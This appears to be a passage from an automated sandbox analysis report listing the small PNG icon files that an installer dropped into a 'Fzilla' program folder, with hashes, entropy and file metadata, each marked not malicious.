Preview:	.PNG........IHDR................R....PLTE...777...OOO???.77...7.7...4.#*....tRNS.@..f.../IDATx.c..F%Ef .3X@..`...i.(...\1...............,.3........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	286
Entropy (8bit):	6.923372188895155
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtLhQKUtbKKD54auIf7yWDvxUMUmCHWhwzJmS//sup:6v/7uNpQzLhQ3tbKw54audkq0C2hYJJ9
MD5:	6CAD00290A05FEC073A4B2BFF0A61E91
SHA1:	B016EFF7AB3824A1723DEB492E2B2E2F78437E94
SHA-256:	C120D51344E33AFD21E3FD347CBC7C1D3439E2B6C1FC10A6B29BAF929C904EFD
SHA-512:	E863311DB2D31317B7B45A4F207986FB154C75D73203761B5AFAD27FA53D1CFE40F17F227BC04959097719D203A0F38AD6D7F4D35013C1CBEB0E5FB98C34E191
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx......0..s.......!G....-v..&.`(...!..( ...V2........DE9Y.0.h...M.......`.{....^>....F..eY.+.I?5.9- ....X.>.........c.v..Q.q;.12.".61....P.:......6..t......R..b..r.)Ykyd.G..._.7.8...Qhp..RJJ9.....`.~...K.&.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	131
Entropy (8bit):	5.6289507100680956
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAalD/lQd7ikY58OVWmbd1+Gm2C08Rwg7nRZlbp:6v/lhPmNpo/lDtOm8MWkd1+MCF2g7Zbp
MD5:	5EB0F873C514DDB3AD34A73CD5BAF190
SHA1:	A9FF2EBE4E3572E03AC35BDC70F64AE0FBB74F92
SHA-256:	A0B7C151A640F079ABBA849E68B84565E3E6BC91C119397CF29906C646CDE723
SHA-512:	C3B3AEE787F74A6E30D92A7238F61C6D7E7A8C534A742826C94975DA68FC9FC760BCA1684E0C9E9B1DEE839FAA84B1EF3BC8404E23FE814CB67D687284260A91
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...8IDATx.c.O"........A}..\|.<.....7...x.8P....6.L........4....?.t].....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	139
Entropy (8bit):	5.744529615316549
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNO+NSXX1CS16AOmJFJqh8+oomNftR9qjp:6v/lhPdLS86oh8+lwcp
MD5:	6C1C086823111EA331268F43D06F45B9
SHA1:	916D2B4AA2163B19B59A5836296D7CF27E0535FA
SHA-256:	9C7C53A72AEA5646DF4A0ED9FDD9943E94FE4806B7CE76E2D3D1FFAC8F14AB88
SHA-512:	E58BED6DA9645F3BABE8CF3E01EE082472BD8280768312DFE9C61C776E43844EDDA14F38D275BE1CA683F384197372DC91373C4CE161C7F365EA12A6F35EDA7F
Malicious:	false
Preview:	.PNG........IHDR................a...RIDATx.c`...........'.... .....l...................t.t.....`,.-.6....6.O[.(...@......A....8....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	169
Entropy (8bit):	6.225579260203194
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtwvR32H99mT+USnUAEGWjKhjWv3N6bUDM7F/l6U08g1p:6v/lhPmJemT+fnUAvWjK8RM7F/ip
MD5:	603D8B4370A671D690D5D422CA94BEED
SHA1:	4D6C2E7004A6440D473A36ACC3FF55D0F8ADC772
SHA-256:	9F89DF560BEE91CC28527460E0F72B5DBB93271519BD0D8C8A967DC97EBD52BF
SHA-512:	74A481CB86E85E26C02B6C0F4726F9A2B65FCF10C51EA42124FC18B6E99079BEEDEA9440D22554B8E199FFACA884E021B531871B4BD81FDC58DE4A3C0D6E2A6E
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..[."....bIDATx.mO).. ..*#q..".L$.22...v.q.4..+...&.jDd..QT.\|.$..H3.}...d.....X."g...WF...1&.....l..._R..^/.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	205
Entropy (8bit):	6.272357355149204
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtAxEso4vZSkcOhJylV2p3mAD66tx/0qmKGTp:6v/7uNpQzTyBXRhMZADvTXmKo
MD5:	5F7487F77EF2E2718FDF49D70F5AA78A
SHA1:	5A13AFDE197CE88B46F9F062B9985241F68D3C9D
SHA-256:	76ED54BC79E6F2E3992483D4C18C3135A47EAC6DE8D3FC30814453A619FECF81
SHA-512:	73E9CDECC2788525E263E8C751CCEBA59FAACCF7D1D4B0452330D2B7704D3E8A187BD245F2AAC2CBA50841FBD93F799A8F170D78944D7C4999420E71A60DA8D8
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O"..............8.`....qk..G }}....j....t? ......9..Z.....#.........5 .<.P.....05..6.. .;......t}.~y.zy~q.x ...~ .Z.j....f.x......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	465
Entropy (8bit):	7.465307282556631
Encrypted:	false
SSDEEP:	12:6v/7qz774BWbCtfWz8lOFBzdSjz8oIPZO:pz74Wbj4o/5iQ2
MD5:	9DF67D4F87DCF1A08ACAB597C3612846
SHA1:	3E598C880A90B750588EAD84F6487883137F4635
SHA-256:	9C062C7A4FEA4545FB69E4318616741B29207CBA0A59877074F04C87469C6D8F
SHA-512:	470916EC02FC0B20C8E95E9311610D9960BBE563B5D896968D856A251D32C95BA3665EA63FA57E8CB49B9A3B2D12630E1E55BA066D3BEB90FA46FB93486B529B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....l.a.._........m.m.v........%.<<............M.O...\|....Z...x7I.........]11.}+*.....E=a).9s&.2$..6........h.........;.-C.3m#...c+JY...v."K..5.....K...N.UxI.]di6.q...b...9.w.....G.9!Q.>&Y.!:...Gr..wF.............,a.. e.....,C3.....V..<XR.....q...l.@..0n.f!...AI..^.8....o.r[[.u...3.z.^...YA.F.......Z...s..r?O..O..e.]...;v.".B.r.+WN.Y.U.......7o..^2......L......#.),.C@...............y...O........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.89163841151448
Encrypted:	false
SSDEEP:	6:6v/lhPfuf2nPt1ReP9QNJ/7KQcQny7GRgwEp2akghzdQ2BsVU6EgNTALVut+BFGC:6v/7JV1a9QNJ/Oenyy3EFjhhZBsyngN4
MD5:	BCA16103B467F279200CE0B7490028F4
SHA1:	2FC6A33D1348DCE568E677E73C6A90EBA4481057
SHA-256:	B1F088641A1FEC949BC505B86CB55FDEFB23D892EED6DB3D84A2A480F25C78CB
SHA-512:	DC671B52DC64EEF88C7E85FB4B60A33BEB70EB72DC1CC95F46D2BA7B76A00CD7F6913281F15CC6DB482891A04216E06E62287EB73FDFF9783DB899843674FE5C
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE.....H..@..L.......E............8..6.................5..2...............{..)..3.....-..0..z..4..q..)..}.....A..h.~%.y...m..y..>..7.....tRNS.@..f...rIDATx...C..P...Am.s....YuP..=...X....4..j.Q..Q.<.63...&X.Q......l.....@...S..Fc.....4. .....oA.Iz..,..w.......&....+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	108
Entropy (8bit):	5.237170807735363
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtwvR32AsyxdkxjQ1MB67JN7Aljp:6v/lhPmJXs+kS1j7cjp
MD5:	E24D25C8AAB877F2EDE30F036195DC4C
SHA1:	88D1348D98478D3E2572C271418C6E0A5DE45989
SHA-256:	F1E76BE59DF5C0FF5D83F262E446F7C21E39C52463AFF2A7FDF8AB39B9BF7FE2
SHA-512:	1FC62A07A163F420411153D2D50808FDC93CD2DA475BB6C3EFD529F7B16A8C1EF1F01FCE23B6B1A8AC97C0AE63E2EA02FA0FDCA3FB68CEC45C535232F9AA588A
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..[."....%IDATx.c....'..&..*.ii.......-x......h.m.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	242
Entropy (8bit):	6.489358696428888
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/yycYgckUvK6NZvqIRV+0SV4aQhl/xqlV9JFWslQqmjmxWcv/:6v/lhPfyjcFvjhUNShXil0y8A/ljp
MD5:	84281E2E1318A18D057378DE38937E91
SHA1:	0CA6834B0E7B48A0F489CA42FDB15C65A6B94453
SHA-256:	B2083F672D8D86EBBBEC229028352BB76E330F8890B4FC0D4B9A1F8185705E76
SHA-512:	24C45DA8F8528EB95510B2C1AF167E62CE42AD21C74962EA417B898D02FD48A19E51F5785917E1C9FFF187AF2C3EF99FA1ACF506BC50A465D6871D43B5D140D3
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE.....@...-.......t...1..D..L..h....5..<..H...4..8...........\|.........]:.....tRNS.@..f...OIDATx^..G..0...lKo.....APo.9...@.....+.^.N..Fh.V#.y.ZX-".@.%=.h....-P.L.FYu...B...7.t....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.51099826887013
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtwvR32dshnjCADNRRsHA1k4/d5q95xlB1p:6v/lhPmJRW8R0Abd5q/xljp
MD5:	1C64E432ECA60AE46C9C12C7B80ABDF0
SHA1:	E4E137C0B02118AE0515E8824EDA866E08C9A9DB
SHA-256:	FBCAAC3E7380B257A536AEED385E063283E4169ADCD7B155FADCF09C1E05C230
SHA-512:	51FCE2BE5C8FAEFDCCA01644EEBC79179D82621B77E7FE0D2C36D1EAA440C8F37F12A91FB1405B98CA402A9BF1967C5073DEE192D068523E270E2DF2C8A14FA2
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..[."....8IDATx.c.....psC.....B.........A..-.n>>>...x .!..d....".=uW......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	237
Entropy (8bit):	6.62857492175376
Encrypted:	false
SSDEEP:	6:6v/lhPfeP9U8sDKJOckcBtXhwRB6ENrr76BAfSWSm9ncGQSltjp:6v/7OP9lsWJOckcBtXhwRBHVCAf7S0cm
MD5:	368D0EECED2C75D5445879856ABF2ECA
SHA1:	CBD9BAD4F6296D78E60E6934A3D7EB43F1C0B316
SHA-256:	1DBBB0FE6F576CE808D544A0C3A8EC066BB2C5C40B6AB5D21A994A46B256C06C
SHA-512:	8D0C39C29DE76BAD8E2F1DA3E1054D2013E80FCE80F1B91522386A59634B29CB3E89E4861AEA9BB3BBAB264DF92704A147AF81F178ECD09ADDFB4E325C27DAD4
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...<PLTE...cY^.;f.Hp.Ft......5a...Nt.?o.6^.R}.Y.._..3folmfY_.9j.Ly..i.....tRNS.@..f..._IDATx^m.7..@.DQ3sc...W.......4.....`^..)%...,....D{W.......@.......T.E.a;...!..G....!.Z..\.....h^..7....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-07S75.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	169
Entropy (8bit):	6.225579260203194
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtwvR32H99mT+USnUAEGWjKhjWv3N6bUDM7F/l6U08g1p:6v/lhPmJemT+fnUAvWjK8RM7F/ip
MD5:	603D8B4370A671D690D5D422CA94BEED
SHA1:	4D6C2E7004A6440D473A36ACC3FF55D0F8ADC772
SHA-256:	9F89DF560BEE91CC28527460E0F72B5DBB93271519BD0D8C8A967DC97EBD52BF
SHA-512:	74A481CB86E85E26C02B6C0F4726F9A2B65FCF10C51EA42124FC18B6E99079BEEDEA9440D22554B8E199FFACA884E021B531871B4BD81FDC58DE4A3C0D6E2A6E
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..[."....bIDATx.mO).. ..*#q..".L$.22...v.q.4..+...&.jDd..QT.\|.$..H3.}...d.....X."g...WF...1&.....l..._R..^/.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-0905V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	465
Entropy (8bit):	7.465307282556631
Encrypted:	false
SSDEEP:	12:6v/7qz774BWbCtfWz8lOFBzdSjz8oIPZO:pz74Wbj4o/5iQ2
MD5:	9DF67D4F87DCF1A08ACAB597C3612846
SHA1:	3E598C880A90B750588EAD84F6487883137F4635
SHA-256:	9C062C7A4FEA4545FB69E4318616741B29207CBA0A59877074F04C87469C6D8F
SHA-512:	470916EC02FC0B20C8E95E9311610D9960BBE563B5D896968D856A251D32C95BA3665EA63FA57E8CB49B9A3B2D12630E1E55BA066D3BEB90FA46FB93486B529B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....l.a.._........m.m.v........%.<<............M.O...\|....Z...x7I.........]11.}+*.....E=a).9s&.2$..6........h.........;.-C.3m#...c+JY...v."K..5.....K...N.UxI.]di6.q...b...9.w.....G.9!Q.>&Y.!:...Gr..wF.............,a.. e.....,C3.....V..<XR.....q...l.@..0n.f!...AI..^.8....o.r[[.u...3.z.^...YA.F.......Z...s..r?O..O..e.]...;v.".B.r.+WN.Y.U.......7o..^2......L......#.),.C@...............y...O........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-0U9GE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit grayscale, non-interlaced
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.51099826887013
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtwvR32dshnjCADNRRsHA1k4/d5q95xlB1p:6v/lhPmJRW8R0Abd5q/xljp
MD5:	1C64E432ECA60AE46C9C12C7B80ABDF0
SHA1:	E4E137C0B02118AE0515E8824EDA866E08C9A9DB
SHA-256:	FBCAAC3E7380B257A536AEED385E063283E4169ADCD7B155FADCF09C1E05C230
SHA-512:	51FCE2BE5C8FAEFDCCA01644EEBC79179D82621B77E7FE0D2C36D1EAA440C8F37F12A91FB1405B98CA402A9BF1967C5073DEE192D068523E270E2DF2C8A14FA2
Malicious:	false
Preview:	.PNG........IHDR.............:.......tRNS..[."....8IDATx.c.....psC.....B.........A..-.n>>>...x .!..d....".=uW......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-1A9KC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	7.179085426324849
Encrypted:	false
SSDEEP:	12:6v/7uNpQdmC+bpjrkH6A0ON1mJUf06AjmZLgY:nTim7VjrYOONQUf0xjup
MD5:	BB3914C0242330CAF1177D874D38ED1B
SHA1:	F6BB59FDEB8E4E9F886BF2F72BA0F43B111AD920
SHA-256:	0BCC6BFEB6C060AAE459E937585257F9606D74F3EA9849D387E403531319515C
SHA-512:	E600839ADBE2F4BA62DFF2EFDE906035CC7CE7CFB827F7821825D0537CFB21B838F527F1F248E1B9BA2CE06E5860125C7D20ECEE142C192B5F3D3CBBA862FF0A
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}...SIDATx..R.l,Q.ll..m.vc..m.n...j[..mNuv&...].{6........U.j.r.....e".M.._.;....-,........k.....y.'G.E..d..!..J".0...1"G....)....'C.$...6!..6f.J".I..[.^.....1..O.......Y_H.....V#aJ&..s...^..~.H..hu.....O....2.p..H...-u6...J..t....\i.DE>..!..^..0..JC.J A.b`<WRU.......-.2...x..@..J.y6&..V..`..Q\.=F..n.!M........K..-F..n.a..........<...F...7....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-360A1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	297
Entropy (8bit):	6.800199709510365
Encrypted:	false
SSDEEP:	6:6v/lhPf1UFluPRNV1YPq6Re3/th4QpTXQcBdc1fA28jhhG50u6kYp:6v/7EuPXVKqb/th4QxXCa3G5Uky
MD5:	F2073372D899FE4E0483E90B0653215D
SHA1:	17383AA8929692DD99B854D8FDD12F21E1189CC5
SHA-256:	D18E5BF43483EA1EE2B7860EA5EB5F4E90EFD0FC04BE57EF114B66B3C56E7D89
SHA-512:	9236493DAE406C93F80B520034DE3578348EA757892B1E410D62D214618A78F90427F90CBFF9926E1CAC05080526D9CFC773ADDAE2E9F243B48F9EABAC23CFB5
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...oPLTE...jjjcccooo........ggg...[[[hd[..`[N<7IE;.i..r..l.d.d.m..s?:-.a..o..q..{..{..z..p.s..rGC:.^.a.b.cG..c....tRNS.@..f...hIDATx.l....1....v.5..V....L...!d(N.."...B...*.#AS.. .D...$....[..5..eIW[.......uH........s....(`.8..>....t.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-5I50L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	256
Entropy (8bit):	6.60715121340722
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtZz8Jo7pxjRimf9+IWDIVjXpXt1jdGC4cEp:6v/7uNpQzZz8+io9eDarpvjoC4L
MD5:	EE697ECCF7B40949F35206091B062423
SHA1:	9953AB99BEEE24A31073BFA7BB33BEACCB156C8D
SHA-256:	0A7DB44E27BF1601384E20BF80FEBE3C0908873B74E730CEACED27570E0EBEC7
SHA-512:	DA91770845450D8B2EC8811628CE7FF7F54EAC48F65E259822D347F1BCF0FE7B6CD593FA5AC371A7D03790159DB40B7C55EA45E29C4083F3FE8B7A975A2FABE4
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx.c.O".@....z..$Q......O.X.....$.....h$B.n........M]...\|.].c.-\..6t..n..~.....pk?6m....n...z......6...5..B....h@h...cZ....m./.e...!...FU....T.zl.z...!...&.5....@rZ........k$b.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-79GCD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	286
Entropy (8bit):	6.923372188895155
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtLhQKUtbKKD54auIf7yWDvxUMUmCHWhwzJmS//sup:6v/7uNpQzLhQ3tbKw54audkq0C2hYJJ9
MD5:	6CAD00290A05FEC073A4B2BFF0A61E91
SHA1:	B016EFF7AB3824A1723DEB492E2B2E2F78437E94
SHA-256:	C120D51344E33AFD21E3FD347CBC7C1D3439E2B6C1FC10A6B29BAF929C904EFD
SHA-512:	E863311DB2D31317B7B45A4F207986FB154C75D73203761B5AFAD27FA53D1CFE40F17F227BC04959097719D203A0F38AD6D7F4D35013C1CBEB0E5FB98C34E191
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx......0..s.......!G....-v..&.`(...!..( ...V2........DE9Y.0.h...M.......`.{....^>....F..eY.+.I?5.9- ....X.>.........c.v..Q.q;.12.".61....P.:......6..t......R..b..r.)Ykyd.G..._.7.8...Qhp..RJJ9.....`.~...K.&.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-7C8AD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	196
Entropy (8bit):	5.8489096014909405
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFlsypha/vKa5lllkqhl/mxjvJtP/3x1oST103OOE/dyVfkEza:6v/lhPIFlCn/lkqh+tDVTQVfkEzxybp
MD5:	94202E205D87CA5BEE17DD254429708A
SHA1:	3EFB5E026836C62B964202B6B02EE49DB06F3B67
SHA-256:	4C82DBE6F5E908A685DB0A99777405B7313F7F78269B2E6389DB218A2B47E234
SHA-512:	0AF7391CA9CEB5889473EEFED2DD08549D44C036F6399C01A37C5FA043D8E649AF042BED736BBA7C7DBBFE8F2D4BC71C457BF99A3631BE52521D7F14E76B1E59
Malicious:	false
Preview:	.PNG........IHDR................R...'PLTE....//................''.............??.h.5....tRNS.@..f...KIDATx.c......@4.Ih.!.!...(..0.l..1..3{....R.{gI....f...Ap......90..v!......E).....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-9MQ5T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	367
Entropy (8bit):	7.018199834661965
Encrypted:	false
SSDEEP:	6:6v/lhPmNpot/7PBgoGkhoQ/Oje2ZtrdaBgdVjD9FhGZsnrsl/UuUmNnzQWUi/Cup:6v/7uNpAuU1GS2ZGBWD9vGZKwlMuUmNz
MD5:	2226DCD0F25AEE9BBA5C64D0B4A8128D
SHA1:	0B9516F28E642253146CABB80BEE57027A6EA373
SHA-256:	99AD52EE1D5EE29AF9CD09C3EF7884453B943682E9AEB99FAFDC57C56D74A08B
SHA-512:	6D4731DE82B4B7DF699EC48A57B83EA5FF9F2D9B016E53415339CA1C14F11F9478CA194E5799374E347F62786A2C48687E0CCCB7116E009F5250E59AECD2B2B6
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n......$IDATx.b ........Y..A@..vvP..B.s.o..$..T...h....A@....<.J.z.&x.P....T.......}....P.E..'.T......).....P@."j.@0.......o..s.^.....i.^....}73..@N..8.ey..a`.RJ&..z.x.Y..T.f5..G.=....6..... \n..k.x....\|\.5.g.............ZJu.9.X...@S..W....8.-.I.E.2.<.%..\|...m.;:.5...m....h.."..1..U.~._1.0....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-APL76.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	156
Entropy (8bit):	5.6950909402652785
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZXAZSDInthl/Ok18Q6lp1parZs1Ywbp:6v/lhPIFZihAk1G6+Rbp
MD5:	62972FD79A0DE5F47F72876A8B8B2085
SHA1:	CACE27632B9A59C0764BFC9EB6D424F153D1C917
SHA-256:	9BCD4A6BF93F0BB529901FCDF52C11D32E9D34EEEADDE69CC0969FF1BCCB14F8
SHA-512:	EBAAA51B60B1B25988DBAE6F5B0E9938B61FCEE7173B2B64C30F71F6E70B51A460D325A21E0508452198338B0EF3842F49ED682D1F47DFC90FC0D0D457D7C3F4
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...777...OOO???.77...7.7...4.#*....tRNS.@..f.../IDATx.c..F%Ef .3X@..`...i.(...\1...............,.3........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-CIS9D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	267
Entropy (8bit):	6.585867058983375
Encrypted:	false
SSDEEP:	6:6v/lhPfyo3HB7qWWW1hWuyFCBUM0A8R1q9IWHL9Bdp:6v/7/3HB7qehIFCBUMTN9IWL9Bz
MD5:	075CF93A04F8FE691C4F80CC075DF4AD
SHA1:	F8A4B6DA00E0825CDB5CCD3B505F700E2E91BF4D
SHA-256:	6E197169A68E7522122EF51E07A4593AB62C56F69B3360E961ABABC3873AEE48
SHA-512:	7303B627D0DE5D050A8078FE6E25E9242E1030568DC39B05D0A154BB5AF71395CCA22D32CCD8BCB9310FF2E2C7E012F2336AA6F4171379B651DB533F5276B6B1
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE........@.E.N..u.........=;...m530:7...z'''..2???..9..=..5=7*...??377+??)..x777D..S....tRNS.@..f...hIDATx^u.7..0.EA@99.....I......o...$..^...C..[.-...".]...........r.pp...s..........j.....{.../_..5..zn.N...d.^.?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-CUMJG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.9401860173289265
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtrPKCl0ltiDHWIiozsVfuuO4CFUgSf+kDfbG83oUYkG9NfigTp:6v/7uNpQzrPKAQUzs9uuOBmgy+0bVrY9
MD5:	FBE9EE1BEDA6A08863008F7496352E97
SHA1:	EA8B483E1ABCEA7290B88DA08BBE44C0D14A42AB
SHA-256:	8A4E3397C871747968B34726470330D6C8B7A64FBDCE7230FB9D3A95E83C428A
SHA-512:	599D290940A74A3F40B7A08B8E4CCCE4FC491888785E268EC3D64FDEA3EA4251F0D3BD4AC5DD5F6AB23D650B2ED5350B0AEC8218D37F2620354DBA1133891A65
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......7X.}....IDATx......1...-&''....I...@ ...b.r.1..@L..@.@..@ 9v.h.._.e...........1.j...T.H.9.SL..1"JI..4&P0.\..CE.K...s..]S.... K...s........k..,...~.F#..&..a.$.@..J.w.aN......<E..Y....u.Y+QD.].n.C.%.k..D...j..{>..I..k...!..D....1J).2.d...n....0.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\is-DRRVE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	253
Entropy (8bit):	6.589199519868932
Encrypted:	false
SSDEEP:	6:6v/lhPmNpo/lDtwx7bptRnDfOFF3zw9bPl+zWnFfvnYA+5p:6v/7uNpQzOtRnbOX09XlYp3
MD5:	2A6DE504BF1E7FE5E0F257C91DF8B46A
SHA1:	3647BB4594AF43EF4AC4AFBC97D1A939E8245B7D
SHA-256:	2E219AE3D40DB24218BD07BF3A4417DBA9CAF4640AAFA488F7E4C5BFFA08A047
SHA-512:	CFCA6BC6D383FC150C2F43142DCDD619B8774519312DF0DAFC41D07D5438ED9F0F121A9A22568406638E856950E30C89EC965511C25C5EEE9264135D6B10FA74
Malicious:	false
